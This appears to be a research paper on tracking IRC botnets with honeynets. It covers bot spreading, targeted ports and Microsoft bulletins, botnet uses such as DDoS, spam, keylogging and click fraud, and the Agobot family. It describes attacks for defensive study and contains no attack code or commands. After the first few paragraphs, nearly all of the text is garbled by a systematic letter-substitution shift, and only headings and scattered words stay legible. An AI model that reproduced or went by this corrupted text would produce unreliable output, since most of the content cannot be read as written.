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Honeypots are a well known technique for discovering the tools, tactics, and motives of attackers. In this paper we
look at a special kind of threat: the individuals and organizations who run botnets. A botnet is a network of

compromised machines that can be remotely controlled by an attacker. Due to their immense size (tens of thousands of
systems can be linked together), they pose a severe threat to the community. With the help of honeynets we can
observe the people who run botnets - a task that is difficult using other techniques. Due to the wealth of data logged, it
is possible to reconstruct the actions of attackers, the tools they use, and study them in detail. In this paper we take a
closer look at botnets, common attack techniques, and the individuals involved.

We start with an introduction to botnets and how they work, with examples of their uses. We then briefly analyze the
three most common bot variants used. Next we discuss a technique to observe botnets, allowing us to monitor the
botnet and observe all commands issued by the attacker. We present common behavior we captured, as well as
statistics on the quantitative information learned through monitoring more than one hundred botnets during the last few

months. We conclude with an overview of lessons learned and point out further research topics in the area of botnet-
tracking, including a tool called mwcollect2 that focuses on collecting malware in an automated fashion.

Introduction

These days, home PCs are a desirable target for attackers. Most of these systems run Microsoft Windows and often
are not properly patched or secured behind a firewall, leaving them vulnerable to attack. In addition to these direct

attacks, indirect attacks against programs the victim uses are steadily increasing. Examples of these indirect attacks
include malicious HTML-files that exploit vulnerabilities in Microsoft's Internet Explorer or attacks using malware in

Peer-to-Peer networks. Especially machines with broadband connection that are always on are a valuable target for
attackers. As broadband connections increase, so to do the number of potential victims of attacks. Crackers benefit
from this situation and use it for their own advantage. With automated techniques they scan specific network ranges of
the Internet searching for vulnerable systems with known weaknesses. Attackers often target Class B networks (/ 1 �  in
CIDR notation) or smaller net-ranges. Once these attackers have compromised a machine, they install a so called IRC
bot - also called zombie or drone - on it.

Internet Relay Chat (IRC) is a form of real-time communication over the Internet. It is mainly designed for group (one-
to-many) communication in discussion forums called channels, but also allows one-to-one communication.
More information about IRC can be found on Wikipedia.

We have identified many different versions of IRC-based bots (in the following we use the term bot) with varying
degrees of sophistication and implemented commands, but all have something in common. The bot joins a specific IRC
channel on an IRC server and waits there for further commands. This allows an attacker to remotely control this bot
and use it for fun and also for profit. Attackers even go a step further and bring different bots together. Such a
structure, consisting of many compromised machines which can be managed from an IRC channel, is called a botnet.

IRC is not the best solution since the communication between bots and their controllers is rather bloated, a simpler
communication protocol would suffice. But IRC offers several advantages: IRC Servers are freely available and are
easy to set up, and many attackers have years of IRC communication experience.

Due to their immense size - botnets can consist of several ten thousand compromised machines - botnets pose serious



WKUHDWV. DLVWULEXWHG GHQLDO-RI-VHUYLFH (DDRS) DWWDFNV DUH RQH VXFK WKUHDW. EYHQ D UHODWLYHO\ VPDOO ERWQHW ZLWK RQO\

1000 ERWV FDQ FDXVH D JUHDW GHDO RI GDPDJH. TKHVH 1000 ERWV KDYH D FRPELQHG EDQGZLGWK (1000 KRPH PCV ZLWK DQ
DYHUDJH XSVWUHDP RI 128KBLW/V FDQ RIIHU PRUH WKDQ 100MBLW/V) WKDW LV SUREDEO\ KLJKHU WKDQ WKH IQWHUQHW FRQQHFWLRQ RI
PRVW FRUSRUDWH V\VWHPV. IQ DGGLWLRQ, WKH IP GLVWULEXWLRQ RI WKH ERWV PDNHV LQJUHVV ILOWHU FRQVWUXFWLRQ, PDLQWHQDQFH, DQG
GHSOR\PHQW GLIILFXOW. IQ DGGLWLRQ, LQFLGHQW UHVSRQVH LV KDPSHUHG E\ WKH ODUJH QXPEHU RI VHSDUDWH RUJDQL]DWLRQV LQYROYHG.
AQRWKHU XVH IRU ERWQHWV LV VWHDOLQJ VHQVLWLYH LQIRUPDWLRQ RU LGHQWLW\ WKHIW: SHDUFKLQJ VRPH WKRXVDQGV KRPH PCV IRU
passZord.t[t, RU VQLIILQJ WKHLU WUDIILF, FDQ EH HIIHFWLYH.

TKH VSUHDGLQJ PHFKDQLVPV XVHG E\ ERWV LV D OHDGLQJ FDXVH IRU "EDFNJURXQG QRLVH" RQ WKH IQWHUQHW, HVSHFLDOO\ RQ TCP
SRUWV 445 DQG 135. IQ WKLV FRQWH[W, WKH WHUP VSUHDGLQJ GHVFULEHV WKH SURSDJDWLRQ PHWKRGV XVHG E\ WKH ERWV. TKHVH
PDOZDUH VFDQ ODUJH QHWZRUN UDQJHV IRU QHZ YXOQHUDEOH FRPSXWHUV DQG LQIHFW WKHP, WKXV DFWLQJ VLPLODU WR D ZRUP RU
YLUXV. AQ DQDO\VLV RI WKH WUDIILF FDSWXUHG E\ WKH GHUPDQ HRQH\QHW PURMHFW VKRZV WKDW PRVW WUDIILF WDUJHWV WKH SRUWV XVHG
IRU UHVRXUFH VKDULQJ RQ PDFKLQHV UXQQLQJ DOO YHUVLRQV RI MLFURVRIW'V WLQGRZV RSHUDWLQJ V\VWHP:

PRUW 445/TCP (MLFURVRIW-DS SHUYLFH) LV XVHG IRU UHVRXUFH VKDULQJ RQ PDFKLQHV UXQQLQJ WLQGRZV 2000, XP,
RU 2003, DQG RWKHU CIFS EDVHG FRQQHFWLRQV. TKLV SRUW LV IRU H[DPSOH XVHG WR FRQQHFW WR ILOH VKDUHV.
PRUW 139/TCP (NHWBIOS SHVVLRQ SHUYLFH) LV XVHG IRU UHVRXUFH VKDULQJ RQ PDFKLQHV UXQQLQJ WLQGRZV 9[, ME

DQG NT. AJDLQ, WKLV SRUW LV XVHG WR FRQQHFW WR ILOH VKDUHV.
PRUW 137/UDP (NHWBIOS NDPH SHUYLFH) LV XVHG E\ FRPSXWHUV UXQQLQJ WLQGRZV WR ILQG RXW LQIRUPDWLRQ
FRQFHUQLQJ WKH QHWZRUNLQJ IHDWXUHV RIIHUHG E\ DQRWKHU FRPSXWHU. TKH LQIRUPDWLRQ WKDW FDQ EH UHWULHYHG WKLV ZD\
LQFOXGH V\VWHP QDPH, QDPH RI ILOH VKDUHV, DQG PRUH.
AQG ILQDOO\, SRUW 135/TCP LV XVHG E\ MLFURVRIW WR LPSOHPHQW RHPRWH PURFHGXUH CDOO (RPC) VHUYLFHV. AQ RPC
VHUYLFH LV D SURWRFRO WKDW DOORZV D FRPSXWHU SURJUDP UXQQLQJ RQ RQH KRVW WR FDXVH FRGH WR EH H[HFXWHG RQ
DQRWKHU KRVW ZLWKRXW WKH SURJUDPPHU QHHGLQJ WR H[SOLFLWO\ FRGH IRU WKLV.

TKH WUDIILF RQ WKHVH IRXU SRUWV FDXVH PRUH WKHQ 80 SHUFHQW RI WKH ZKROH WUDIILF FDSWXUHG. FXUWKHU UHVHDUFK ZLWK WRROV
VXFK DV
NPDS, XSUREH2 DQG S0I UHYHDO WKDW PDFKLQHV UXQQLQJ WLQGRZV XP DQG 2000 UHSUHVHQW WKH PRVW DIIHFWHG VRIWZDUH
YHUVLRQV. COHDUO\ PRVW RI WKH DFWLYLW\ RQ WKH SRUWV OLVWHG DERYH LV FDXVHG E\ V\VWHPV ZLWK WLQGRZV XP (RIWHQ UXQQLQJ
SHUYLFH PDFN 1), IROORZHG E\ V\VWHPV ZLWK WLQGRZV 2000. FDU EHKLQG, V\VWHPV UXQQLQJ WLQGRZV 2003 RU WLQGRZV
95/98 IROORZ.

BXW ZKDW DUH WKH UHDO FDXVHV RI WKHVH PDOLFLRXV SDFNHWV? WKR DQG ZKDW LV UHVSRQVLEOH IRU WKHP? AQG FDQ ZH GR
VRPHWKLQJ WR SUHYHQW WKHP? IQ WKLV SDSHU ZH ZDQW WR VKRZ WKH EDFNJURXQG RI WKLV WUDIILF DQG IXUWKHU HODERUDWH WKH
FDXVHV. WH VKRZ KRZ DWWDFNHUV XVH IRC ERWV WR FRQWURO DQG EXLOG QHWZRUNV RI FRPSURPLVHG PDFKLQHV (ERWQHW) WR
IXUWKHU HQKDQFH WKH HIIHFWLYHQHVV RI WKHLU ZRUN. WH XVH FODVVLFDO GHQII-HRQH\QHWV ZLWK VRPH PLQRU PRGLILFDWLRQV WR
OHDUQ VRPH NH\ LQIRUPDWLRQ, IRU H[DPSOH WKH IP DGGUHVV RI D ERWQHW VHUYHU RU IRC FKDQQHO QDPH DQG SDVVZRUG. TKLV
LQIRUPDWLRQ DOORZV XV WR FRQQHFW WR WKH ERWQHW DQG REVHUYH DOO WKH FRPPDQGV LVVXHG E\ WKH DWWDFNHU.

AW WLPHV ZH DUH HYHQ DEOH WR PRQLWRU WKHLU FRPPXQLFDWLRQ DQG WKXV OHDUQ PRUH DERXW WKHLU PRWLYHV DQG VRFLDO EHKDYLRU.
IQ DGGLWLRQ, ZH JLYH VRPH VWDWLVWLFV RQ WKH TXDQWLWDWLYH LQIRUPDWLRQ ZH KDYH OHDUQHG WKURXJK PRQLWRULQJ RI PRUH WKDQ
RQH KXQGUHG ERWQHWV GXULQJ WKH ODVW IHZ PRQWKV. SHYHUDO H[DPSOHV RI FDSWXUHG DFWLYLWLHV E\ DWWDFNHUV VXEVWDQWLDWH RXU
SUHVHQWDWLRQ.

FRU WKLV UHVHDUFK, D HRQH\QHW RI RQO\ WKUHH PDFKLQHV ZDV XVHG. OQH GLDO-LQ KRVW ZLWKLQ WKH QHWZRUN RI WKH GHUPDQ ISP
T-OQOLQH, RQH GLDO-LQ ZLWKLQ WKH QHWZRUN RI WKH GHUPDQ ISP NHWCRORJQH DQG RQH PDFKLQH GHSOR\HG DW RWTH
ADFKHQ UQLYHUVLW\. TKH KRVWV LQ WKH QHWZRUN RI WKH XQLYHUVLW\ UXQV DQ XQSDWFKHG YHUVLRQ RI WLQGRZV 2000 DQG LV
ORFDWHG EHKLQG D HRQH\ZDOO. TKH GLDO-LQ KRVWV UXQ D QHZO\ GHYHORSHG VRIWZDUH FDOOHG m Z c o l l e c t d 2 , GHVLJQHG WR
FDSWXUH PDOZDUH. WH PRQLWRU WKH ERWQHW DFWLYLW\ ZLWK RXU RZQ IRC FOLHQW FDOOHG d r o n e . BRWK DUH GLVFXVVHG LQ JUHDWHU
GHWDLO ODWHU LQ WKLV SDSHU.

AOPRVW DOO BRWV XVH D WLQ\ FROOHFWLRQ RI H[SORLWV WR VSUHDG IXUWKHU. SLQFH WKH BRWV DUH FRQVWDQWO\ DWWHPSWLQJ WR
FRPSURPLVH PRUH PDFKLQHV, WKH\ JHQHUDWH QRWLFHDEOH WUDIILF ZLWKLQ D QHWZRUN. NRUPDOO\ ERWV WU\ WR H[SORLW ZHOO-NQRZQ
YXOQHUDELOLWLHV. BHVLGH IURP WKH SRUWV XVHG IRU UHVRXUFH VKDULQJ DV OLVWHG DERYH, ERWV RIWHQ XVH YXOQHUDELOLW\-VSHFLILF
SRUWV. E[DPSOHV RI WKHVH SRUWV LQFOXGH:



42 - WINS (HRVW NDPH SHUYHU)
80 - ZZZ (YXOQHUDELOLWLHV LQ IQWHUQHW IQIRUPDWLRQ SHUYHU 4 / 5 RU ASDFKH)
903 - NHWDHYLO BDFNGRRU
1025 - MLFURVRIW RHPRWH PURFHGXUH CDOO (RPC) VHUYLFH DQG WLQGRZV MHVVHQJHU SRUW
1433 - PV-VTO-V (MLFURVRIW-SQL-SHUYHU)
2745 - EDFNGRRU RI BDJOH ZRUP (PDVV-PDLOLQJ
ZRUP)
3127 - EDFNGRRU RI M\DRRP ZRUP (PDVV-PDLOLQJ ZRUP)
3306 - M\SQL UDF WHDNQHVV

3410 - YXOQHUDELOLW\ LQ OSWL[ PUR UHPRWH DFFHVV WURMDQ (OSWL[ BDFNGRRU)
5000 - XSQS (UQLYHUVDO POXJ DQG POD\: MS01-059 - UQFKHFNHG BXIIHU LQ UQLYHUVDO POXJ DQG POD\ FDQ LHDG WR
S\VWHP CRPSURPLVH)
6129 - GDPHZDUH (DDPHZDUH RHPRWH AGPLQ - DDPHWDUH MLQL RHPRWH CRQWURO COLHQW AJHQW SHUYLFH PUH-
AXWKHQWLFDWLRQ BXIIHU OYHUIORZ VXOQHUDELOLW\)

TKH YXOQHUDELOLWLHV EHKLQG VRPH RI WKHVH H[SORLWV FDQ EH IRXQG ZLWK WKH KHOS RI D VHDUFK RQ MLFURVRIW'V SHFXULW\
EXOOHWLQV (VDPSOH):

MS03-007 UQFKHFNHG BXIIHU IQ WLQGRZV CRPSRQHQW CRXOG CDXVH SHUYHU CRPSURPLVH

MS03-026 BXIIHU OYHUUXQ IQ RPC IQWHUIDFH CRXOG AOORZ CRGH E[HFXWLRQ
MS04-011 SHFXULW\ USGDWH IRU MLFURVRIW WLQGRZV
MS04-045 VXOQHUDELOLW\ LQ WINS CRXOG AOORZ RHPRWH CRGH E[HFXWLRQ

UVeV of boWneWV

"A boWneW iV compaUable Wo compXlVoU\ miliWaU\ VeUYice foU ZindoZV bo[eV" - SWromberg

A ERWQHW LV QRWKLQJ PRUH WKHQ D WRRO, WKHUH DUH DV PDQ\ GLIIHUHQW PRWLYHV IRU XVLQJ WKHP DV WKHUH DUH SHRSOH. TKH PRVW
FRPPRQ XVHV ZHUH FULPLQDOO\
PRWLYDWHG (L.H. PRQHWDU\) RU IRU GHVWUXFWLYH SXUSRVHV. BDVHG RQ WKH GDWD ZH FDSWXUHG, WKH SRVVLELOLWLHV WR XVH ERWQHWV
FDQ EH FDWHJRUL]HG DV OLVWHG EHORZ. AQG VLQFH D ERWQHW LV QRWKLQJ PRUH WKHQ D WRRO, WKHUH DUH PRVW OLNHO\ RWKHU SRWHQWLDO
XVHV WKDW ZH KDYH QRW OLVWHG.

1. DiVWUibXWed Denial-of-SeUYice AWWackV 
OIWHQ ERWQHWV DUH XVHG IRU DLVWULEXWHG DHQLDO-RI-SHUYLFH (DDRS) DWWDFNV. A DDRS DWWDFN LV DQ DWWDFN RQ D
FRPSXWHU V\VWHP RU QHWZRUN WKDW FDXVHV D ORVV RI VHUYLFH WR XVHUV, W\SLFDOO\ WKH ORVV RI QHWZRUN FRQQHFWLYLW\ DQG
VHUYLFHV E\ FRQVXPLQJ
WKH EDQGZLGWK RI WKH YLFWLP QHWZRUN RU RYHUORDGLQJ WKH FRPSXWDWLRQDO UHVRXUFHV RI WKH YLFWLP V\VWHP. IQ
DGGLWLRQ, WKH UHVRXUFHV RQ WKH SDWK DUH H[KDXVWHG LI WKH DDRS-DWWDFN FDXVHV PDQ\ SDFNHWV SHU VHFRQG (SSV).
EDFK ERW ZH KDYH DQDO\]HG VR IDU LQFOXGHV VHYHUDO GLIIHUHQW SRVVLELOLWLHV WR FDUU\ RXW D DDRS DWWDFN DJDLQVW
RWKHU KRVWV. MRVW FRPPRQO\ LPSOHPHQWHG DQG DOVR YHU\ RIWHQ XVHG DUH TCP SYN DQG UDP IORRG DWWDFNV.
SFULSW NLGGLHV DSSDUHQWO\ FRQVLGHU DDRS DQ DSSURSULDWH VROXWLRQ WR HYHU\ VRFLDO SUREOHP.

FXUWKHU UHVHDUFK VKRZHG WKDW ERWQHWV DUH HYHQ XVHG WR UXQ FRPPHUFLDO DDRS DWWDFNV DJDLQVW FRPSHWLQJ
FRUSRUDWLRQV: OSHUDWLRQ C\EHUVODP GRFXPHQWV WKH VWRU\ RI JD\ R. EFKRXDIQL DQG JRVKXD SFKLFKWHO DOLDV EMP.
EFKRXDIQL ZDV LQGLFWHG RQ AXJXVW 25, 2004 RQ PXOWLSOH FKDUJHV RI FRQVSLUDF\ DQG FDXVLQJ GDPDJH WR SURWHFWHG
FRPSXWHUV. HH ZRUNHG FORVHO\ WRJHWKHU ZLWK EMP ZKR UDQ D ERWQHW WR VHQG EXON PDLO DQG DOVR FDUULHG RXW
DDRS DWWDFNV DJDLQVW WKH VSDP EODFNOLVW VHUYHUV. IQ DGGLWLRQ, WKH\ WRRN SSHHGHUD - D JOREDO RQ-GHPDQG
FRPSXWLQJ SODWIRUP - RIIOLQH ZKHQ WKH\ UDQ D SDLG DDRS DWWDFN WR WDNH D FRPSHWLWRU'V ZHEVLWH GRZQ.

NRWH WKDW DDRS DWWDFNV DUH QRW OLPLWHG WR ZHE VHUYHUV, YLUWXDOO\ DQ\ VHUYLFH DYDLODEOH RQ WKH IQWHUQHW FDQ EH WKH
WDUJHW RI VXFK DQ DWWDFN. HLJKHU-OHYHO SURWRFROV FDQ EH XVHG WR LQFUHDVH WKH ORDG HYHQ PRUH HIIHFWLYHO\ E\ XVLQJ
YHU\ VSHFLILF DWWDFNV, VXFK DV UXQQLQJ H[KDXVWLQJ VHDUFK TXHULHV RQ EXOOHWLQ ERDUGV RU UHFXUVLYH HTTP-IORRGV RQ
WKH YLFWLP'V ZHEVLWH. RHFXUVLYH HTTP-IORRG PHDQV WKDW WKH ERWV VWDUW IURP D JLYHQ HTTP OLQN DQG WKHQ IROORZV



DOO OLQNV RQ WKH SURYLGHG ZHEVLWH LQ D UHFXUVLYH ZD\. TKLV LV DOVR FDOOHG VSLGHULQJ.

2. Spamming
SRPH ERWV RIIHU WKH SRVVLELOLW\ WR RSHQ D SOCKS Y4/Y5 SUR[\ - D JHQHULF SUR[\ SURWRFRO IRU TCP/IP-EDVHG
QHWZRUNLQJ DSSOLFDWLRQV (RFC 1928) - RQ D FRPSURPLVHG PDFKLQH. AIWHU KDYLQJ HQDEOHG WKH SOCKS SUR[\,
WKLV PDFKLQH FDQ WKHQ EH XVHG IRU QHIDULRXV WDVNV VXFK DV VSDPPLQJ. WLWK WKH KHOS RI D ERWQHW DQG WKRXVDQGV RI
ERWV, DQ DWWDFNHU LV DEOH WR VHQG PDVVLYH DPRXQWV RI EXON HPDLO (VSDP). SRPH ERWV DOVR LPSOHPHQW D VSHFLDO
IXQFWLRQ WR KDUYHVW HPDLO-DGGUHVVHV. OIWHQ WKDW VSDP \RX DUH UHFHLYLQJ ZDV VHQW IURP, RU SUR[LHG WKURXJK,
JUDQGPD'V ROG WLQGRZV FRPSXWHU VLWWLQJ DW KRPH. IQ DGGLWLRQ, WKLV FDQ RI FRXUVH DOVR EH XVHG WR VHQG SKLVKLQJ-
PDLOV VLQFH SKLVKLQJ LV D VSHFLDO FDVH RI VSDP.

3. Sniffing Traffic
BRWV FDQ DOVR XVH D SDFNHW VQLIIHU WR ZDWFK IRU LQWHUHVWLQJ FOHDU-WH[W GDWD SDVVLQJ E\ D FRPSURPLVHG PDFKLQH.
TKH VQLIIHUV DUH PRVWO\ XVHG WR UHWULHYH VHQVLWLYH LQIRUPDWLRQ OLNH XVHUQDPHV DQG SDVVZRUGV. BXW WKH VQLIIHG GDWD
FDQ DOVR FRQWDLQ RWKHU LQWHUHVWLQJ LQIRUPDWLRQ. II D PDFKLQH LV FRPSURPLVHG PRUH WKDQ RQFH DQG DOVR D PHPEHU
RI PRUH WKDQ RQH ERWQHW, WKH SDFNHW VQLIILQJ DOORZV WR JDWKHU WKH NH\ LQIRUPDWLRQ RI WKH RWKHU ERWQHW.
TKXV LW LV SRVVLEOH WR "VWHDO" DQRWKHU ERWQHW.

4. Ke\logging
II WKH FRPSURPLVHG PDFKLQH XVHV HQFU\SWHG FRPPXQLFDWLRQ FKDQQHOV (H.J. HTTPS RU POP3S), WKHQ MXVW VQLIILQJ
WKH QHWZRUN SDFNHWV RQ WKH YLFWLP'V FRPSXWHU LV XVHOHVV VLQFH WKH DSSURSULDWH NH\ WR GHFU\SW WKH SDFNHWV LV
PLVVLQJ. BXW PRVW ERWV DOVR RIIHU IHDWXUHV WR KHOS LQ WKLV VLWXDWLRQ. WLWK WKH KHOS RI D NH\ORJJHU LW LV YHU\ HDV\ IRU
DQ DWWDFNHU WR UHWULHYH VHQVLWLYH LQIRUPDWLRQ. AQ LPSOHPHQWHG ILOWHULQJ PHFKDQLVP (H.J. "I DP RQO\ LQWHUHVWHG LQ
NH\ VHTXHQFHV QHDU WKH NH\ZRUG 'SD\SDO.FRP'") IXUWKHU KHOSV LQ VWHDOLQJ VHFUHW GDWD. AQG LI \RX LPDJLQH WKDW WKLV
NH\ORJJHU UXQV RQ WKRXVDQGV RI FRPSURPLVHG PDFKLQHV LQ SDUDOOHO \RX FDQ LPDJLQH KRZ TXLFNO\ PD\PDO
DFFRXQWV DUH KDUYHVWHG.

5. Spreading new malware

IQ PRVW FDVHV, ERWQHWV DUH XVHG WR VSUHDG QHZ ERWV. TKLV LV YHU\ HDV\ VLQFH DOO ERWV LPSOHPHQW PHFKDQLVPV WR
GRZQORDG DQG H[HFXWH D ILOH YLD HTTP RU FTP. BXW VSUHDGLQJ DQ HPDLO YLUXV XVLQJ D ERWQHW LV D YHU\ QLFH LGHD,
WRR. A ERWQHW ZLWK 10.000 KRVWV ZKLFK DFWV DV WKH VWDUW EDVH IRU WKH PDLO YLUXV DOORZV YHU\ IDVW VSUHDGLQJ DQG
WKXV FDXVHV PRUH KDUP. TKH WLWW\ ZRUP, ZKLFK DWWDFNHG WKH ICQ SURWRFRO SDUVLQJ LPSOHPHQWDWLRQ LQ IQWHUQHW
SHFXULW\ S\VWHPV (ISS) SURGXFWV LV VXVSHFWHG WR KDYH EHHQ LQLWLDOO\ ODXQFKHG E\ D ERWQHW GXH WR WKH IDFW WKDW WKH
DWWDFNLQJ KRVWV ZHUH QRW UXQQLQJ DQ\ ISS VHUYLFHV.

6. Installing Advertisement Addons and Browser Helper Objects (BHOs)
BRWQHWV FDQ DOVR EH XVHG WR JDLQ ILQDQFLDO DGYDQWDJHV. TKLV ZRUNV E\ VHWWLQJ XS D IDNH ZHEVLWH ZLWK VRPH
DGYHUWLVHPHQWV: TKH RSHUDWRU RI WKLV ZHEVLWH QHJRWLDWHV D GHDO ZLWK VRPH KRVWLQJ FRPSDQLHV WKDW SD\ IRU FOLFNV
RQ DGV. WLWK WKH KHOS RI D ERWQHW, WKHVH FOLFNV FDQ EH "DXWRPDWHG" VR WKDW LQVWDQWO\ D IHZ WKRXVDQG ERWV FOLFN RQ
WKH SRS-XSV. TKLV SURFHVV FDQ EH IXUWKHU HQKDQFHG LI WKH ERW KLMDFNV WKH VWDUW-SDJH RI D FRPSURPLVHG PDFKLQH
VR WKDW WKH "FOLFNV" DUH H[HFXWHG HDFK WLPH WKH YLFWLP XVHV WKH EURZVHU.

7. Google AdSense abuse
A VLPLODU DEXVH LV DOVR SRVVLEOH ZLWK GRRJOH'V AGSHQVH SURJUDP: AGSHQVH RIIHUV FRPSDQLHV WKH SRVVLELOLW\ WR
GLVSOD\ GRRJOH DGYHUWLVHPHQWV RQ WKHLU RZQ ZHEVLWH DQG HDUQ PRQH\ WKLV ZD\. TKH FRPSDQ\ HDUQV PRQH\ GXH
WR FOLFNV RQ WKHVH DGV, IRU H[DPSOH SHU 10.000 FOLFNV LQ RQH PRQWK. AQ DWWDFNHU FDQ DEXVH WKLV SURJUDP E\
OHYHUDJLQJ KLV ERWQHW WR FOLFN RQ WKHVH DGYHUWLVHPHQWV LQ DQ DXWRPDWHG IDVKLRQ DQG WKXV DUWLILFLDOO\ LQFUHPHQWV WKH
FOLFN FRXQWHU. TKLV NLQG RI XVDJH IRU ERWQHWV LV UHODWLYHO\ XQFRPPRQ, EXW QRW D EDG LGHD IURP DQ DWWDFNHU'V
SHUVSHFWLYH.

8. Attacking IRC Chat Networks
BRWQHWV DUH DOVR XVHG IRU DWWDFNV DJDLQVW IQWHUQHW RHOD\ CKDW (IRC) QHWZRUNV. PRSXODU DPRQJ DWWDFNHUV LV
HVSHFLDOO\ WKH VR FDOOHG "FORQH DWWDFN": IQ WKLV NLQG RI DWWDFN, WKH FRQWUROOHU RUGHUV HDFK ERW WR FRQQHFW D ODUJH
QXPEHU RI FORQHV WR WKH YLFWLP IRC QHWZRUN. TKH YLFWLP LV IORRGHG E\ VHUYLFH UHTXHVW IURP WKRXVDQGV RI ERWV RU
WKRXVDQGV RI FKDQQHO-MRLQV E\ WKHVH FORQHG ERWV. IQ WKLV ZD\, WKH YLFWLP IRC QHWZRUN LV EURXJKW GRZQ - VLPLODU
WR D DDRS DWWDFN.

9. Manipulating online polls/games
OQOLQH SROOV/JDPHV DUH JHWWLQJ PRUH DQG PRUH DWWHQWLRQ DQG LW LV UDWKHU HDV\ WR PDQLSXODWH WKHP ZLWK ERWQHWV.
SLQFH HYHU\ ERW KDV D GLVWLQFW IP DGGUHVV, HYHU\ YRWH ZLOO KDYH WKH VDPH FUHGLELOLW\ DV D YRWH FDVW E\ D UHDO
SHUVRQ. OQOLQH JDPHV FDQ EH PDQLSXODWHG LQ D VLPLODU ZD\. CXUUHQWO\ ZH DUH DZDUH RI ERWV EHLQJ XVHG WKDW ZD\,



aQd WheUe iV a chaQce WhaW WhiV ZiOO geW PRUe iPSRUWaQW iQ Whe fXWXUe.
10. Mass identit\ theft

OfWeQ Whe cRPbiQaWiRQ Rf diffeUeQW fXQcWiRQaOiW\ deVcUibed abRYe caQ be XVed fRU OaUge VcaOe ideQWiW\ WhefW, RQe Rf
Whe faVWeVW gURZiQg cUiPeV RQ Whe IQWeUQeW. BRgXV ePaiOV ("ShiVhiQg PaiOV") WhaW SUeWeQd WR be OegiWiPaWe (VXch aV
faNe Pa\PaO RU baQNiQg ePaiOV) aVN WheiU iQWeQded YicWiPV WR gR RQOiQe aQd VXbPiW WheiU SUiYaWe iQfRUPaWiRQ.
TheVe faNe ePaiOV aUe geQeUaWed aQd VeQW b\ bRWV Yia WheiU VSaPPiQg PechaQiVP. TheVe VaPe bRWV caQ aOVR hRVW
PXOWiSOe faNe ZebViWeV SUeWeQdiQg WR be Eba\, Pa\PaO, RU a baQN, aQd haUYeVW SeUVRQaO iQfRUPaWiRQ. JXVW aV
TXicNO\ aV RQe Rf WheVe faNe ViWeV iV VhXW dRZQ, aQRWheU RQe caQ SRS XS. IQ addiWiRQ, Ne\ORggiQg aQd VQiffiQg Rf
WUaffic caQ aOVR be XVed fRU ideQWiW\ WhefW.

ThiV OiVW dePRQVWUaWeV WhaW aWWacNeUV caQ caXVe a gUeaW deaO Rf haUP RU cUiPiQaO acWiYiW\ ZiWh Whe heOS Rf bRWQeWV. MaQ\
Rf WheVe aWWacNV - eVSeciaOO\
DDRS aWWacNV - SRVe VeYeUe WhUeaWV WR RWheU V\VWePV aQd aUe haUd WR SUeYeQW. IQ addiWiRQ, Ze aUe VXUe WheUe aUe PaQ\
RWheU XVeV Ze haYe \eW WR diVcRYeU. AV a UeVXOW, Ze Qeed a Za\ WR OeaUQ PRUe abRXW WhiV WhUeaW, OeaUQ hRZ aWWacNeUV
XVXaOO\ behaYe aQd deYeORS WechQiTXeV WR baWWOe agaiQVW WheP. HRQe\QeWV caQ heOS XV iQ aOO WhUee aUeaV:

1. WiWh Whe heOS Rf hRQe\QeWV Ze aUe abOe WR OeaUQ VRPe Ne\ iQfRUPaWiRQ (e.g. IP addUeVV Rf Whe VeUYeU RU
QicNQaPe Rf Whe bRW) WhaW eQabOe XV WR
RbVeUYe bRWQeWV. We caQ "cROOecW" biQaUieV Rf bRWV aQd e[WUacW Whe VeQViWiYe iQfRUPaWiRQ iQ a VePi-aXWRPaWed
faVhiRQ ZiWh Whe heOS Rf a cOaVVicaO HRQe\ZaOO.

2. We aUe abOe WR PRQiWRU Whe W\SicaO cRPPaQdV iVVXed b\ aWWacNeUV aQd VRPeWiPeV Ze caQ eYeQ caSWXUe WheiU
cRPPXQicaWiRQ. ThiV heOSV XV iQ OeaUQiQg PRUe abRXW Whe PRWiYeV Rf aWWacNeUV aQd WheiU WacWicV.

3. AQ aXWRPaWed PeWhRd WR caWch iQfRUPaWiRQ abRXW bRWQeWV aQd a PechaQiVP WR effecWiYeO\ WUacN bRWQeWV caQ eYeQ
heOS WR fighW agaiQVW bRWQeWV.

AfWeU Ze haYe iQWURdXced aQd aQaO\]ed VRPe Rf Whe PRVW SRSXOaU bRWV iQ Whe Qe[W SecWiRQ, Ze aUe gRiQg WR SUeVeQW a
WechQiTXe WR WUacN bRWQeWV.

Different T\pes of Bots

DXUiQg RXU UeVeaUch, Ze fRXQd PaQ\ diffeUeQW W\SeV Rf bRWV iQ Whe ZiOd. IQ WhiV VecWiRQ Ze SUeVeQW VRPe Rf Whe PRUe
ZideVSUead aQd ZeOO-NQRZQ bRWV. We iQWURdXce Whe baVic cRQceSWV Rf each Siece Rf PaOZaUe aQd fXUWheUPRUe
deVcUibe VRPe Rf Whe feaWXUeV iQ PRUe deWaiO. IQ addiWiRQ, Ze VhRZ VeYeUaO e[aPSOeV Rf VRXUce cRde fURP bRWV aQd OiVW
SaUWV Rf WheiU cRPPaQd VeW.

Agobot/Phatbot/Forbot/XtremBot
ThiV iV SURbabO\ Whe beVW NQRZQ bRW. CXUUeQWO\, Whe AV YeQdRU SRShRV OiVWV PRUe WhaQ 500 NQRZQ diffeUeQW
YeUViRQV Rf AgRbRW (SRShRV YiUXV aQaO\VeV) aQd WhiV QXPbeU iV VWeadiO\ iQcUeaViQg. The bRW iWVeOf iV ZUiWWeQ iQ
C++ ZiWh cURVV-SOaWfRUP caSabiOiWieV aQd Whe VRXUce cRde iV SXW XQdeU Whe GPL.
AgRbRW ZaV ZUiWWeQ b\ AgR aOiaV WRQN, a \RXQg GeUPaQ PaQ ZhR ZaV aUUeVWed iQ Ma\ 2004 fRU cRPSXWeU
cUiPe. The OaWeVW aYaiOabOe YeUViRQV Rf AgRbRW aUe ZUiWWeQ iQ Wid\ C++ aQd VhRZ a UeaOO\ high abVWUacW deVigQ.
The bRW iV VWUXcWXUed iQ a YeU\ PRdXOaU Za\, aQd iW iV YeU\ eaV\ WR add cRPPaQdV RU VcaQQeUV fRU RWheU
YXOQeUabiOiWieV: SiPSO\ e[WeQd Whe C C o m m a n d H a n d l e U  RU C S c a n n e U  cOaVV aQd add \RXU feaWXUe. AgRbRW XVeV
OibScaS (a SacNeW VQiffiQg OibUaU\) aQd PeUO CRPSaWibOe RegXOaU E[SUeVViRQV (PCRE) WR VQiff aQd VRUW WUaffic.
AgRbRW caQ XVe NTFS AOWeUQaWe DaWa SWUeaP (ADS) aQd RffeUV RRRWNiW caSabiOiWieV OiNe fiOe aQd SURceVV hidiQg
WR hide iW'V RZQ SUeVeQce RQ a cRPSURPiVed hRVW.
